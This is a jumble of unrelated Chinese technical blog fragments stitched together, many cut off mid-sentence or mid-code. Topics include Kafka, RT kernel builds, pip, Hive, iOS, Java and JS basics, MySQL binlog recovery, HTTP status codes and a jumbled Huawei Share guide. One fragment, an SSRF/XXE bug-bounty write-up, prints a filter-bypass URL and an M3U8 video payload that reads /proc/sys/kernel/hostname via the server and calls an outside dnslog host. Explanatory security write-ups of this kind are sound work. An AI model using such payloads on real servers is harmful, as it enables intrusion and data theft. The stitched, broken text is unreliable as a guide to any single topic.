作用 应用解耦:多个应用可以通过消息队列对相同的消息进行处理,应用之间相互独立,互不影响。异步处理:相比于串行和并行,异步更能减少时间。数据限流:控制高峰期的数据流量,避免系统崩溃。消息通信:点对点消息队列或聊天室等。 Kafka Linkedin 团队发现市面上的系统无法做到实时服务,所以就自己搞了一个,既满足实时处理的需求,又可以支持水平扩展的消息系统,还拥有着高吞吐量。
Kafka 是一个分布式实时数据流平台,可独立部署在单台服务器上,也可以部署在多台服务器上构成集群。提供了发布订阅功能,用户可以发送数据到 Kafka 集群中,也可以从 Kafka 集群中读取数据。
以下是几个核心的概念: 代理(Broker)
在 Kafka 集群中,一个 Kafka 进程(实例)被称为一个代理节点。通常在部署分布式 Kafka 集群时,一台服务器上部署一个 kafka 实例。
生产者(Producer)
Producer 将消息记录发送到Kafka 集群指定的主题(Topic)中进行存储,同时生产者也能通过自定义算法觉得将消息记录发送到哪个分区(Partition)。
例如,通过获取消息记录主键的hash值,然后使用该值对分区数取模运算,得到分区索引。
消费者(Consumer)
Consumer 从 Kafka 集群指定的主题中读取消息记录。
在读取主题数据时需要设置消费组别名 (GroupId),如果不设置,则 Kafka 消费者会默认生成一个消费组名称。
消费者组(Consumer Group)
消费者程序在读取 Kafka 系统主题 (Topic)中的数据时,通常会使用多个线程来执行。
一个消费者组可以包含一个或多个消费者程序,使用多分区和多线程模式可以极大提高读取数据的效率。
一般设置线程数小于分区数,避免造成资源浪费。
主题(Topic)
Kafka 系统通过主题来区分不同业务类型的消息记录。
例如:用户登录数据存储在主题A中,用户充值记录存储在主题B中,则如果应用程序只订阅了主题A,没有订阅主题B,那该应用程序只能读取主题A中的数据。
分区(Partition)
每一个主题(Topic)中可以有一个或者多个分区(Partition)。在 Kafka 系统的设计思想中,分区是基于物理层面上的,不同的分区对应着不同的数据文件。
Kafka 通过分区(Partition)来支持物理层面上的并发读写,以提高 Kafka 集群的吞吐量。
每个分区内部的消息记录是有序的,每个消息都有一个连续的偏移量序号。
一个分区只对应一个代理节点,一个代理节点可以管理多个分区。
副本(Replication)
在 Kafka 系统,每个 Topic 在创建时会要求指定它的副本数,默认是 1.
概述 本文主要介绍了如何编译测试Linux实时内核的实时性的流程及方法。
1. 编译RT内核 RT-patch
内核源码
给内核打补丁:
cd linux-4.19 patch -p1 < ../patch.... 编译内核:
make menuconfig General setup----Preemption ModelFully Preemptible Kernel(RT) make sudo make modules_install sudo make install sudo update-grub 出现的问题:
make modules_install 出错,提示如下:
/bin/sh:1:scripts/sign-file: Exec format error 解决方法:
在内核源码目录下执行 make scripts
KVM虚拟机容量不足: #只能转换raw格式的,所以先将qcow2装换为raw qemu-img convert -p -f vmdk -O qcow2 centos6.9.vmdk centos6.9.qcow2 上述命令中各参数对应的说明如下: -p标识转换的进度条。 -f后面为源镜像格式。 -O(必须是大写)后面的参数为转换出来的镜像格式 + 源镜像文件名称 + 目标文件名称。 转换完成后,目标文件会出现在源镜像文件所在的目录下。 回显信息如下所示: #查看原磁盘大小 qemu-img info kvm-win10_add.raw #增加容量20G qemu-img resize kvm-win10_add.
今天在使用pip install 的时候,突然报错,告诉我pip找不到了
no such file or directory 这个文件找不到,是因为我给删了,但是不应该会影响到pip 的运行,
然后去jupyter notebook上试了下:
提示:
ModuleNotFoundError 好吧,pip既然不能运行了,那应该是哪个配置文件中使用到了 /Users/zhangch/Applications/Orange.app/Contents/MacOS/python 这个路径,我找了好久,最后终于找到,下面说说找到思路
1、运行 where pip 查看pip 位置
一个是pip的软连接,那我们从根上入手:
cd /Library/Frameworks/Python.framework/Versions/3.6/bin
然后编辑 pip文件
vim pip3
找到问题,原来指定的python不对,如下图:
修改为正确的python路径即可:
其实这个问题很简单,就看细不细心
复合类型构建操作 1、Map类型构建: map 语法: map (key1, value1, key2, value2, …)
说明:根据输入的key和value对构建map类型
hive> Create table iteblog as select map(‘100’,‘tom’,‘200’,‘mary’) as t from iteblog;
hive> describe iteblog;
t map<string ,string>
hive> select t from iteblog;
{“100”:“tom”,“200”:“mary”}
2、Struct类型构建: struct 语法: struct(val1, val2, val3, …)
说明:根据输入的参数构建结构体struct类型
hive> create table iteblog as select struct(‘tom’,‘mary’,‘tim’) as t from iteblog;
hive> describe iteblog;
t struct<col1:string ,col2:string,col3:string>
hive> select t from iteblog;
{“col1”:“tom”,“col2”:“mary”,“col3”:“tim”}
3、array类型构建: array 语法: array(val1, val2, …)
一、以前使用的退出键盘方法 UIScrollView 上如果有UITextField的话,结束编辑(退出键盘)直接用touchesBegan方法无效,需要再给UIScrollView加一个分类,重写几个方法。
- (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event { [[self nextResponder] touchesBegan:touches withEvent:event]; [super touchesBegan:touches withEvent:event]; } -(void)touchesMoved:(NSSet *)touches withEvent:(UIEvent *)event { [[self nextResponder] touchesMoved:touches withEvent:event]; [super touchesMoved:touches withEvent:event]; } - (void)touchesEnded:(NSSet *)touches withEvent:(UIEvent *)event { [[self nextResponder] touchesEnded:touches withEvent:event]; [super touchesEnded:touches withEvent:event]; } 一般都使用这个方法,但是这样写是有问题的,在_使用系统手写键盘时会出现奔溃问题。_
手写键盘输入时,会调用UIScrollView的- (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event;这个分类方法,self的类型是UIKBCandidateCollectionView,一种系统没有暴露出来的类型,应该是UIScrollView的一个子类,所以系统会奔溃。
二、增加判断避免手写输入奔溃 - (void)touchesBegan:(NSSet *)touches withEvent:(UIEvent *)event { if (![self isMemberOfClass:[UIScrollView class]]) { } else { [[self nextResponder] touchesBegan:touches withEvent:event]; if ([super respondsToSelector:@selector(touchesBegan:withEvent:)]) { [super touchesBegan:touches withEvent:event]; } } } -(void)touchesMoved:(NSSet *)touches withEvent:(UIEvent *)event { if (!
原标题:事实证明Redmi K30Pro确实可实现高刷,但有利也有弊!
Redmi K30Pro这款机型的最大遗憾,就是没有高刷新率,不过在发布之前就与大家聊过,由于K30Pro的屏幕素质不错,理论是可以刷到更高刷新率,然而今天就有网友成功将K30Pro刷上了80Hz,并表示没有明显问题,不过官方也表示,这样玩坏了的话,是不保修的,并不建议!
那么今天就来聊一聊,强制高刷新率会带来哪些利弊!
我手上用这一台K20Pro就是刷入70Hz的,并且已经用了很长一段时间,好处是流畅度确实提升明显,别看只有10帧的增加,滑动间会丝滑不少,并且耗电也属于正常,并未感知到耗电的明显增加!
弊端:由于要刷入img,或者用一些自制软件,甚至还要刷入第三方内核,这些操作都是需要ROOT权限的,保修会遇到不必要的麻烦!另外高刷需要开启MIUI中的防闪烁模式,也就是DC调光,开启后显示效果会有损失,至于损失多大,大家可以开关对比一下!
那么第三方高刷对屏幕是否有损害呢,这点暂不确定,不过在开启高刷后,相机下可以看到屏幕是在疯狂闪烁的,这有点像PWM调光没有黑条的效果,但正常人眼看是完全正常的,或许这种高频闪烁下会对屏幕寿命有影响,不过目前还没有看到坏屏的例子!
明天Redmi K30Pro就要开售了,在这个利弊之下,大家会不会刷上更高刷新率呢?欢迎留言!另外以K30Pro这块屏幕素质来看,80Hz不会是最高,稳定90Hz应该没有什么问题,如果要刷的话,推荐等一等!返回搜狐,查看更多
责任编辑:
文章目录 前言SSRF漏洞案例1 某翻译网SSRF可通内网案例2 某翻译网SSRF防护绕过案例3 某站SSRF读取本地文件案例4 某站视频解析导致SSRF案例5 某狗主站SSRF多种绕过案例6 某乎网SSRF可探测内网 XXE漏洞案例1 用友某软件存在XXE漏洞案例2 XFire 开发组件XXE漏洞案例3 博客搬家功能处XXE漏洞案例4 用友某软件存在XXE盲注 总结 前言 前面一篇文章 SRC挖洞之文件上传/下载漏洞的实战案例 介绍了 任意文件下载漏洞 和 任意文件上传漏洞,本文收集讲述下 SSRF 漏洞和 XXE 漏洞的 SRC 和漏洞平台的一些实战案例。关于这两个漏洞的一些介绍和检测方法,读者可阅读我的另一篇博文:浅析DNSlog在渗透测试中的实战技巧。
【严正声明】本文所述的所有漏洞案例,厂商均已成功修复,同时对应的关键信息均已打码!网络安全十八双刃剑,请各位读者遵纪守法,共同维护良好健康的网络环境!
SSRF漏洞 关于 SSRF 漏洞的基础原理和知识,可以看我的另一篇博文进行了解:Web安全-SSRF漏洞,SSRF 漏洞有时候会被厂商当作鸡肋的漏洞,但有时候却能产生巨大危害,具体危害等级需要看是否能有效利用。
案例1 某翻译网SSRF可通内网 1、某翻译网在输入框参数存在 SSRF 漏洞:
2、内网主机服务探测:
案例2 某翻译网SSRF防护绕过 1、针对的是上面案例 1 同家厂商,修复完成后存在绕过,原始 Payload 无效:
2、使用 Payload:http://10.100.21.7.xip.io 绕过:
案例3 某站SSRF读取本地文件 1、某企业废弃的站点存在 SSRF 可读取本地文件:
2、也可探测内网:
案例4 某站视频解析导致SSRF 1、某站存在上传视频的功能:
2、构造恶意视频 Payload,由于该功能处对视频有最小文件大小要求,后续可用任意内容填充:
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://pictest.66ae2b.dnslog.info|file:///proc/sys/kernel/hostname #EXT-X-ENDLIST ... 3、上传视频并让服务端进行解码,解码过程中解析漏洞导致 SSRF,Cloudeye 的日志如下:
未经允许,如果我想把手机的相册传到电脑上, 9 接着按照电脑的提示,就必须通过Huawei Share 进行互传,如果对您有所帮助, END 注意事项 本经验由作者【梦想快男】原创, 5 在此电脑中的搜索框内输入网络, 6 点击带有HONOR类似的前缀的图标,或是说电脑需要接收华为手机传送的文件, 2 打开手机状态栏,通过手机可以知道用户名和密码,即可通过华为手机和电脑互传文件了,然后点击复制,需要输入用户名和密码, 10 登录成功后。
长按Huawei Share. 3 点击【共享至电脑】右边的按钮, 8 此时便显示出了手机的相关的用户名和密码, , 4 打开电脑中的【我的电脑】, 华为手机需要接收电脑的文件,那华为荣耀的Huawei Share怎么开启和使用呢? 工具/原料 华为手机 电脑 方法/步骤 1 首先手机和电脑都同时连接到同一个WiFi。
7 打开手机,请您点击下方的【投票】为我投票;如果你以后还想继续阅读本篇经验,之后在自己想要安置的位置点击鼠标右键再点击粘贴即可,之后点击右边的箭头转到网络,那么我就鼠标右键点击相册。
谢绝转载,请点击右边的【双箭头】分享到各大圈子;【梦想快男】原创,请点击右边的【五角星】进行收藏;如果想让您更多的朋友看到这篇经验,点击【电脑访问本机】,。
/需求:实现小明爸爸对小明期末考试成绩分数给他不同奖励,并对它进行输出。
/*
奖励:95-100 山地自行车一辆
90-94 游乐场玩一次
80-89 变形金刚玩具一个
80以后 胖揍一顿
import java.util.Scanner; public class Finalexam{ public static void main(String[] args){ System.out.print("请输入分数(0-100):"); //从键盘输入数据 Scanner sc = new Scanner(System.in); int score = sc.nextInt(); if( score >= 95 & score <= 100){ System.out.print("山地自行车一辆"); }else if( score >= 90 & score <= 94){ System.out.print("游乐场玩一次"); }else if( score >= 80 & score <= 89){ System.out.print("变形金刚玩具一个"); }else if( score >= 0 & score <= 79){ System.
将U盘文件系统改为NTFS U盘默认文件系统为FAT32,传输单一文件最大为4GB
NTFS类型的文件系统,传输单一文件最大为2TB
将FAT32转为NTFS的步骤
步骤 插上U盘,cmd打开命令提示符
chkdsk /f g: //修复磁盘上的错误;g 表示 g盘 chkdsk /r g: //查找不正确的扇区并恢复可读信息 convert g: /fs:ntfs //将文件系统类型转为NTFS
当下主流的IT技术有虚拟化,云计算,大数据,人工智能等。其中,虚拟化技术越来越广泛的被应用到企业中。而Docker就是虚拟化技术的一种,近年来也是非常的火爆,是目前互联网使用最多的虚拟化技术。它有不少优点:轻量级,操作启动快,开源免费。
学习docker
首先要了解docker原理以及镜像
如何搜索docker镜像,如何制作,上传、下载镜像
dockerfile
docker-compose
docker swarm
等工具使用。
然后要了解docker容器
知道docker容器是docker虚拟化产物,是基于镜像运行。会通过docker命令来操作docker容器。如查看docker容器,启动停止docker容器,删除docker容器等等
最后知道docker仓库
Docker仓库是用于存放Docker镜像的地方,如何来部署docker仓库、docker私有仓
docker原理图:
其次要了解docker 几种网络模式
1、 host/container/none/bridge
会使用pipework工具固定容器IP。
熟练使用docker构建LNAMP服务。
学习K8s
熟悉docker后,就可以进一步学习k8s了,它可以帮助用户省去应用容器化过程中许多手动部署和扩展操作。比如:
1、可以实现容器自动化部署和复制
2、可以实现多台主机进行容器编排与管理
3、能够快速、按需容器化应用及资源扩容
4、可以对应用实施状况检查及自我修复
等等
k8s支持docker,也支持另一种容器技术rocket。
要理解:master、node节点,以及运行在各节上的组件,如apiserver,scheduler,controller-manager,kubelet,kube-proxy,etcd,flannel
还要弄清楚pod,lable,service概念
k8s架构图
在生产环境 ,
为方便操作,要会Dashboard UI,为方便访问,会用Nodeport,Loadbalancer以及 ingress
要实实检测系统运行状态,还需要了解prometheus
如果k8s应用容器内容更新,比如nginx发布内容更新操作
包括升级,升级失败回滚(rollout),要熟练操作方法。
最后要K8S里面的数据,要做永久化储存,这个要涉及到ceph或NFS.
以上内容为个人一些总结,想到哪写到哪,比较零碎,不足之处欢迎来补充
有没有什么好的生日提醒软件推荐?以时间流逝的形式,展示在界面,并且会在你设置的提醒时间准时提醒你。包括家人、朋友的生日,对于用户记录的重要日期也会提醒,同时提供送礼服务、点评晒礼、分享体验等生日全方位服务,让你的生活更有品质!
生日管家:点击左侧链接下载
生日管家是一款专业的生日管理软件,生日管家可以很好地记录生日信息。生日管家支持和「通讯录」结合功能,在这里,用户可以添加、发现以及管理亲友生日,软件支持网络备份和恢复功能一键完美支持「公历/农历」生日提醒功能。它为用户提供温馨、智能的解决方案。生日管家是一款移动端的生日提醒软件,是一款增进友谊的暖心软件,通过生日管家APP再也不怕忘记你的好友生日啦,内置独有的时间提醒,还包括温馨的生日祝福短信,选礼物,送鲜花等等。此外,生日管家APP提供生日云端备份。
生日本:点击左侧链接下载
生日本APP是一个专门帮助你记住家人和朋友生日的小工具,可以帮助你非常方便的按照星座、生肖、出生了多少天、生日倒数来给联系人进行排序,支持农历和通知提醒。欢迎感兴趣的小伙伴前来下载生日本APP。
生日提醒王:点击左侧链接下载
生日提醒王一个非常简洁易用的提醒器或者说是一个员工生日提醒软件。支持阳历(公历)、阴历(农历)生日提前提醒。是个生日提醒软件工具、好帮手,一个非常简洁易用的提醒器或者说是一个员工生日提醒软件。支持阳历(公历)、阴历(农历)生日提前提醒。可选择提醒方式:每次仅在开机时候进行检测一次(几乎不影响计算机开机速度);亦可选择实时提醒,几乎不占用计算机资源。可指定提前多少天进行提醒,支持无数个生日。生日记录可以保存为单个文件、从文件中导入;还可使用邮件发送跟亲友分享。 推荐公司人事部门使用来提醒员工、或者客户生日,当然家用也很合适。
图片转base64-在线工具 <!Doctype html> <html> <head> <meta charset="utf-8" /> <title>html5 image to base64</title> </head> <body> <script type="text/javascript"> window.onload = function() { // 抓取上传图片,转换代码结果,显示图片的dom var img_upload = document.getElementById("img_upload"); var base64_code = document.getElementById("base64_code"); var img_area = document.getElementById("img_area"); // 添加功能出发监听事件 img_upload.addEventListener('change', readFile, false); } function readFile() { var file = this.files[0]; if (!/image\/\w+/.test(file.type)) { alert("请确保文件为图像类型"); return false; } var reader = new FileReader(); reader.readAsDataURL(file); reader.onload = function() { base64_code.innerHTML = this.result; img_area.innerHTML = '<div>图片img标签展示:</div><img src="
Binlog日志,即二进制日志文件,用于记录用户对数据库操作的SQL语句信息,当发生数据误删除的时候我们可以通过binlog日志来还原已经删除的数据,还原数据的方法分为传统二进制文件还原数据和基于GTID的二进制文件还原数据
首先登录服务器的Mysql:mysql -u rooot -p
输入密码后,执行:show master status\G;可以看到二进制日志文件
我们可以执行:show binlog events in 'binlog.000001'来查看这个日志文件信息
确保日志是我们需要的信息我们可以退出mysql,然后执行:
mysqlbinlog --no-defaults --start-datetime="2021-05-30 00:00:00" --stop-datetime="2021-05-31 11:00:00" datas/mysql-bin.000022 -d testdb > datas/testdb.sql 这里说的是:datas/mysql-bin.000022是mysql二进制日志文件路径,-d参数指定需要操作的数据库,执行后,将保存到datas目录下的testdb.sql中
执行完了后,我们得到一个SQL文件,文件中是我们在筛选日志中对testdb库所做的一切操作。
恢复前,我们需要备份当前的库,然后清空里面得数据
我们可以再次登录mysql,然后执行source datas/testdb.sql即可恢复之前的所有操作数据内容
mysqlbinlog的操作有比较多的筛选数据参数,详细可以搜索引擎了解下。
错误log如下 05-13 09:22:38.192 W/System.err( 4471): android.hardware.camera2.CameraAccessException: CAMERA_DISABLED (1): connectHelper:1735: Camera "0" disabled by policy 05-13 09:22:38.192 W/System.err( 4471): at android.hardware.camera2.CameraManager.throwAsPublicException(CameraManager.java:1012) 05-13 09:22:38.193 W/System.err( 4471): at android.hardware.camera2.CameraManager.openCameraDeviceUserAsync(CameraManager.java:547) 05-13 09:22:38.193 W/System.err( 4471): at android.hardware.camera2.CameraManager.openCameraForUid(CameraManager.java:728) 05-13 09:22:38.194 W/System.err( 4471): at android.hardware.camera2.CameraManager.openCamera(CameraManager.java:656) 05-13 09:22:38.194 W/System.err( 4471): at com.android.camera.CaptureModule.openCamera(CaptureModule.java:4199) 05-13 09:22:38.194 W/System.err( 4471): at com.android.camera.CaptureModule.access$11600(CaptureModule.java:158) 05-13 09:22:38.195 W/System.err( 4471): at com.android.camera.CaptureModule$MyCameraHandler.handleMessage(CaptureModule.java:8502) 05-13 09:22:38.195 W/System.err( 4471): at android.os.Handler.dispatchMessage(Handler.java:106) 05-13 09:22:38.195 W/System.err( 4471): at android.os.Looper.loop(Looper.java:223) 05-13 09:22:38.
历史上最全最常用的HTTP状态码(超详细) 简介100-199信息响应200-299成功响应300-399重定向消息400-499 客户端错误响应500-599 服务器错误响应 简介 HTTP状态码(英语:HTTP Status Code)是用以表示网页服务器超文本传输协议响应状态的3位数字代码。它由 RFC 2616 规范定义的,并得到 RFC 2518、RFC 2817、RFC 2295、RFC 2774 与 RFC 4918 等规范扩展。所有状态码的第一个数字代表了响应的五种状态之一。所示的消息短语是典型的,但是可以提供任何可读取的替代方案。 除非另有说明,状态码是HTTP / 1.1标准(RFC 7231)的一部分。
100-199信息响应 表示临时响应并需要请求者继续执行操作的状态代码。 状态码说明详情100继续请求者应当继续提出请求。 服务器返回此代码表示已收到请求的第一部分,正在等待其余部分。101切换协议请求者已要求服务器切换协议,服务器已确认并准备切换。 200-299成功响应 表示成功处理了请求的状态代码。 状态码说明详情200成功服务器已成功处理了请求。 通常,这表示服务器提供了请求的网页201已创建请求成功并且服务器创建了新的资源202已接受服务器已接受请求,但尚未处理203非授权信息服务器已成功处理了请求,但返回的信息可能来自另一来源204无内容服务器成功处理了请求,但没有返回任何内容205重置内容服务器成功处理了请求,但没有返回任何内容206部分内容服务器成功处理了部分 GET 请求 300-399重定向消息 表示要完成请求,需要进一步操作。通常,这些状态代码用来重定向。 状态码说明详情300多种选择针对请求,服务器可执行多种操作。 服务器可根据请求者 (user agent) 选择一项操作,或提供操作列表供请求者选择301永久移动请求的网页已永久移动到新位置。 服务器返回此响应(对 GET 或 HEAD 请求的响应)时,会自动将请求者转到新位置302临时移动服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来进行以后的请求303查看其他位置请求者应当对不同的位置使用单独的 GET 请求来检索响应时,服务器返回此代码304未修改自从上次请求后,请求的网页未修改过。 服务器返回此响应时,不会返回网页内容305使用代理请求者只能使用代理访问请求的网页。 如果服务器返回此响应,还表示请求者应使用代理307临时重定向服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来进行以后的请求 400-499 客户端错误响应 这些状态代码表示请求可能出错,妨碍了服务器的处理。 状态码说明详情400错误请求服务器不理解请求的语法401未授权请求要求身份验证。 对于需要登录的网页,服务器可能返回此响应403禁止服务器拒绝请求404未找到服务器找不到请求的网页405方法禁用禁用请求中指定的方法406不接受无法使用请求的内容特性响应请求的网页407需要代理授权此状态代码与 401(未授权)类似,但指定请求者应当授权使用代理408请求超时服务器等候请求时发生超时409冲突服务器在完成请求时发生冲突。 服务器必须在响应中包含有关冲突的信息410已删除如果请求的资源已永久删除,服务器就会返回此响应411需要有效长度服务器不接受不含有效内容长度标头字段的请求412为满足前提条件服务器未满足请求者在请求中设置的其中一个前提条件413请求实体过大服务器无法处理请求,因为请求实体过大,超出服务器的处理能力414请求的URL过长请求的 URI(通常为网址)过长,服务器无法处理415不支持的媒体类型请求的格式不受请求页面的支持416请求范围不符合要求如果页面无法提供请求的范围,则服务器会返回此状态代码417未满足期望值服务器未满足"期望"请求标头字段的要求 500-599 服务器错误响应 这些状态代码表示服务器在尝试处理请求时发生内部错误。 这些错误可能是服务器本身的错误,而不是请求出错。 状态码说明详情500服务器内部错误服务器遇到错误,无法完成请求501尚未实施服务器不具备完成请求的功能。 例如,服务器无法识别请求方法时可能会返回此代码502错误网关服务器作为网关或代理,从上游服务器收到无效响应503服务不可用服务器目前无法使用(由于超载或停机维护)。 通常,这只是暂时状态504网关超时服务器作为网关或代理,但是没有及时从上游服务器收到请求505HTTP版本不受支持服务器不支持请求中所用的 HTTP 协议版本
一、打开Pycharm
二、按下键盘 :Alt + F12这一步是打开终端
三、输入:pip install xlrd
出现Successful则OK,如果出现pip版本的问题,
输入: -m pip install --upgrade pip
出现Successful后,再输入:pip install xlrd,一般到这里就可以了
在数据库设计中设置主键的字段是不会重复的、唯一的,如果有其他字段也需要保持唯一性应该如何设置呢?比如一个保存用户信息的表里要保证每条记录的手机号都不同。这时候就需要对该字段设置唯一性。
设置唯一性后的字段,在数据库层面保证了该字段不会出现相同的值。下面说一下唯一性的设置方法:
mysql命令行操作索引 1、建表时加 CREATE TABLE `member` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(18) NOT NULL , `phone` varchar(18) NOT NULL unique, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8; 2、建表后改 alter table member add unique(phone);
使用Navicat工具添加索引 使用navicat操作mysql数据库更加方便,推荐大家多多使用这种方式
设计表时:如图选择索引,第一项‘名’,随便自己起一个有意义的名字就行了。第二项是你要设置唯一性的字段,然后索引类型选择unique。
题目描述:
食堂有N个打饭窗口,现在正到了午饭时间,每个窗口都排了很多的学生,而且每个窗口排队的人数在不断的变化。
现在问你第i个窗口到第j个窗口一共有多少人在排队?
输入:
输入的第一行是一个整数T,表示有T组测试数据。
每组输入的第一行是一个正整数N(N<=30000),表示食堂有N个窗口。
接下来一行输入N个正整数,第i个正整数ai表示第i个窗口最开始有ai个人排队。(1<=ai<=50)
接下来每行有一条命令,命令有四种形式:
(1)Add i j,i和j为正整数,表示第i个窗口增加j个人(j不超过30);
(2)Sub i j,i和j为正整数,表示第i个窗口减少j个人(j不超过30);
(3)Query i j,i和j为正整数,i<=j,表示询问第i到第j个窗口的总人数;
(4)End 表示结束,这条命令在每组数据最后出现;
每组数据最多有40000条命令。
输出:
对于每组输入,首先输出样例号,占一行。
然后对于每个Query询问,输出一个整数,占一行,表示询问的段中的总人数,这个数保持在int以内。
样例输入:
1
10
1 2 3 4 5 6 7 8 9 10
Query 1 3
Add 3 6
Query 2 7
Sub 10 2
Add 6 3
Query 3 10
End
样例输出:
Case 1:
6
33
59
题解:
本题作为区间查询的练习题,实际上题目已经做好了分化区间,即分窗口统计人数,只需要在此基础上做各窗口人数的统计即可。
#include<iostream> #include<cstdio> #include<string> #include<cstring> #include<algorithm> using namespace std; const int MAXN=3*1e4+10; void act(string str,int a[]){ if(str=="
/* import程序略*/
import android.widget.DatePicker;
import android.widget.TimePicker;
public class EX04_15 extends Activity
{
/*声明日期及时间变量*/
private int mYear;
private int mMonth;
private int mDay;
private int mHour;
private int mMinute;
/*声明对象变量*/
TextView tv;
TimePicker tp;
DatePicker dp;
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState)
{
/*取得目前日期与时间*/
Calendar c=Calendar.getInstance();
mYear=c.get(Calendar.YEAR);
mMonth=c.get(Calendar.MONTH);
mDay=c.get(Calendar.DAY_OF_MONTH);
mHour=c.get(Calendar.HOUR_OF_DAY);
mMinute=c.get(Calendar.MINUTE);
super.onCreate(savedInstanceState);
/*加载main.xml Layout */
setContentView(R.layout.main);
/*取得TextView对象,并调用updateDisplay()
来设置显示的初始日期时间*/
tv= (TextView) findViewById(R.id.showTime);
updateDisplay();
Android Studio 3.1上。preView显示的是一片空白。不显示控件。但是编译。运行到真机上又没有问题。
不知道原因。新建一个也是如此。缓存也清理了。电脑也重启了。没有任何作用。看到右上角有个小红圈。点击以后看到下面报错。
现在问题就简单了。复制错误信息。Failed to load AppCompat ActionBar with unknown error.去网上一搜。答案就出来了。
找到我们的style文件。把
修改成
@color/colorPrimary@color/colorPrimaryDark@color/colorAccent
再回去看布局。发现正常了。
苍蝇再小也是肉。万一有人需要呢。。。
可是每次新建一个项目都要去修改style总不太好。就想着去找下到底是为什么。经过查找资料。发现可能是buildToolsVersion版本和compileSdkVersion版本不一致。导致v7包导入不正确。解决办法如下:
可以看到。我的compileSdkVersion版本是28.可是我的build版本最大才到27.0.3(as2还是3以上buildToolsVersion可以不写。会用默认最大的。)。修改compileSdkVersion为27.编译版本选择27.0.3。然后点击ok。build失败。发现是v7包我用的是
implementation 'com.android.support:appcompat-v7:28.0.0-alpha3'
于是修改v7包应用为:
implementation 'com.android.support:appcompat-v7:27.1.1'
sync。成功以后。把我的样式还修改为原来的:
parent="Theme.AppCompat.Light.DarkActionBar"
然后。新建一个布局。发现可以正常显示了。所以。问题应该就是没有28的编译版本。。。
原因:buildToolsVersion版本和compileSdkVersion版本不一致。
解决办法:修改compileSdkVersion和buildToolsVersion一致。
每日语录:自己喜欢的东西就不要再征询他人意见了人生这点责任自己负
单曲循环《这些年来》
首次评论时输入QQ自动获取昵称和邮箱,此时您可以对邮箱进行修改并填写网址,提交评论后自动记录到数据库专用表内,再次评论输入QQ时,先返回数据库中记录的对应QQ自定义的邮箱和网址,如果您想更换邮箱和网址直接修改即可,提交评论后,自动记录新修改数据,修改邮箱时,自动检测邮箱是否被其它QQ占用,如果占用自动清除所填邮箱,提交评论后,填写过QQ的评论评论列表调用QQ头像,未填写QQ的评论调用gravatar头像,目前后台可查看QQ用户的头像、昵称、QQ、邮箱等...
点评
WordPress自带的评论已经满足不了我们了,而一些所谓的社会化评论框贝贝也不想多说了,这款插件能利用QQ号自动获取头像和名称非常不错。
使用方法:
根据您的评论框修改sskqquser/getqqinfo.js中的开头的4个
ps:不懂的默认就好了,一般不需要修改。
评论表单头像:var commentformavatar
邮件检测提示位置:var checkmailpos
QQ输入框位置:var qqinputpos
QQ输入框样式:var qqinput
另外说一下,如果启用了cnd的同学需要修改getqqinfo.js内第17行
getqqinfo_url = js_url.replace('getqqinfo.js','qqinfo.php'),
需要修改为,否则使用不了。
getqqinfo_url = 'http://自己的网址/wp-content/plugins/sskqquser/qqinfo.php';
另外 qqinfo.php文件的第5行中wp-load.php的位置根据自己位置不同进行修改。
下载地址
如果资源下载失效请到 留言板 留言或者 QQ 联系我。
本站默认解压密码:www.hibbba.com
1用Data还是用Calendar
看Data源码,一开头就说了Data有bug,具体是啥bug我也看不太懂不用关心,反正官方推荐用Calendar。
2SimpleDateFormat
SimpleDateFormat可以设置输出格式(yyyy MM dd HH mm ss)
3时间戳
时间戳简单的来说就是从1970年1月1日0时0分0秒到现在的毫秒数,10位时间戳时精确到秒,13位时间戳是精确到毫秒
4获取时间戳
13位:System.currentTimeMillis();
10位:long timeStampSec = System.currentTimeMillis()/1000;
String timestamp = String.format("%010d", timeStampSec);
5获取今天年月日时分秒
SimpleDateFormat simpleDateFormat =new SimpleDateFormat("yyyy年MM月dd日 HH时mm分ss秒");
Calendar calendar = Calendar.getInstance();
Log.e("现在的年月日时分秒",simpleDateFormat.format(calendar.getTime()));
输出:E/现在的年月日时分秒: 2019年01月11日 16时03分11秒
6获取各种类型的时间
yyyy代表年;MM代表月;dd代表日;HH代表小时;mm代表分钟;ss代表秒;
new SimpleDateFormat的时候可以随意组合
7获取昨天年月日
SimpleDateFormat simpleDateFormat =new SimpleDateFormat("yyyy年MM月dd日");
Calendar calendar = Calendar.getInstance();
calendar.add(Calendar.DATE, -1);
Log.e("昨天的年月日时分秒",simpleDateFormat.format(calendar.getTime()));
输出:E/昨天的年月日: 2019年01月10日
8获取明天的年月日
calendar.add(Calendar.DATE, 1);
9设置任意一个日期,输出这个日期当天,和前一天
SimpleDateFormat simpleDateFormat =new SimpleDateFormat("yyyy年MM月dd日");
Calendar calendar = Calendar.getInstance();
calendar.set(1994, 0, 26); //月份从0开始,0代表1月,11代表12月
1,首先呢我们要说一下通过标签选择元素
通过标签获取元素 window.onload = function(){
// //获取页面上所有的li
// var aLi = document.getElementsByTagName('li');
//获取id为list01的ul
var oList = document.getElementById('list01');
//再获取这个ul下的所有li
var aLi = oList.getElementsByTagName('li');
alert(aLi.length);//8
// aLi.pop();//错误用法,aLi是一个类似数组的选择集,没有数组通用的一些方法
aLi[0].style.backgroundColor = 'gold';
aLi[1].style.backgroundColor = 'gold';
}
12345678 9101112 2,在然后呢,我们说一下循环语句
循环语句 /*
循环语句:
通过循环语句可以反复的执行一段代码多次
while循环
- 语法:
while(条件表达式){
语句...
}
- while语句在执行时,
先对条件表达式进行求值判断,
如果值为true,则执行循环体,
循环体执行完毕以后,继续对表达式进行判断
如果为true,则继续执行循环体,以此类推
如果值为false,则终止循环
do...while循环
- 语法:
do{
语句...
}while(条件表达式)
- 执行流程:
do...while语句在执行时,会先执行循环体,
循环体执行完毕以后,在对while后的条件表达式进行判断,
如果结果为true,则继续执行循环体,执行完毕继续判断以此类推
如果结果为false,则终止循环
实际上这两个语句功能类似,不同的是while是先判断后执行,
而do...while会先执行后判断,
do...while可以保证循环体至少执行一次,
而while不能
for语句,也是一个循环语句,也称为for循环
一、 Alertmanager介绍
